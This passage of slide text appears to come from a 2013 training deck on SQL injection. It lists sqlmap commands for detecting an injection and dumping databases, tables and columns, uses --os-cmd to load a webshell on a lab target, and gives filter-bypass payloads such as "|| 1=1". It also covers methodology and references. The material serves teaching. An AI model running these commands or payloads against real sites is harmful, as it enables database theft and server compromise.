  • 23. – First detect the vulnerable URLS – Now use sqlmap : 1 . python sqlmap.py –u http://site.com/?id=1 {Identify sqli is present or not } 2 . python sqlmap.py -u http://site.com/?id=1 --dbs {Discover databases} 3./sqlmap -u http://site.com/?id=1 --tables -D <db name> {table in db} 4./sqlmap -u http://site.com/?id=1 --columns -D <db name> -T <table name> 5./sqlmap -u http://site.com/?id=1 --dump -D <db name> -T <table name>{data
  • 24. Uploading Shell Using SQLMap : 1. Check if the current user is DBA or not . ./sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user –is-dba 2.now enter the webserver path ./sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --os-cmd -v 1 3. now the webshell can be loaded using the sqlmap file stager . DEMO
  • 25. ByPassing the blacklist Filters Bypass AND and OR : Id=1' || 1=1 --+ id=1' %26%26 1=1 --+
  • 27. Methodology ● Break it – Try to break the query by fuzzing ● Fix it – Now based on the error try to balance and fix the query
  • 28. © C-DAC, Hyderabad - 2013 ✔ What is Sql Injection ✔ Types of Sql Injection ✔ Hands on What did we cover?
  • 29. © C-DAC, Hyderabad - 2013 * Websites and References OWASP, WASC, MSDN * Books and Mailing Lists Web Application Hackers Handbook, OWASP Guides * Tools to use Burp, Paros, Firefox Extensions, Virtual Box, Linux What did we cover?Further Roadmap
  • 30. © C-DAC, Hyderabad - 2013 Acknowledge ● @Sqlilabs ● @Google ● @Nullhyd ● @cswan ● @thenounproject
  • 31. © C-DAC, Hyderabad - 2013 Thank U @saleem14489 Facebook.com/ahamedssaleem Saleem4u.ahamed@gmail.com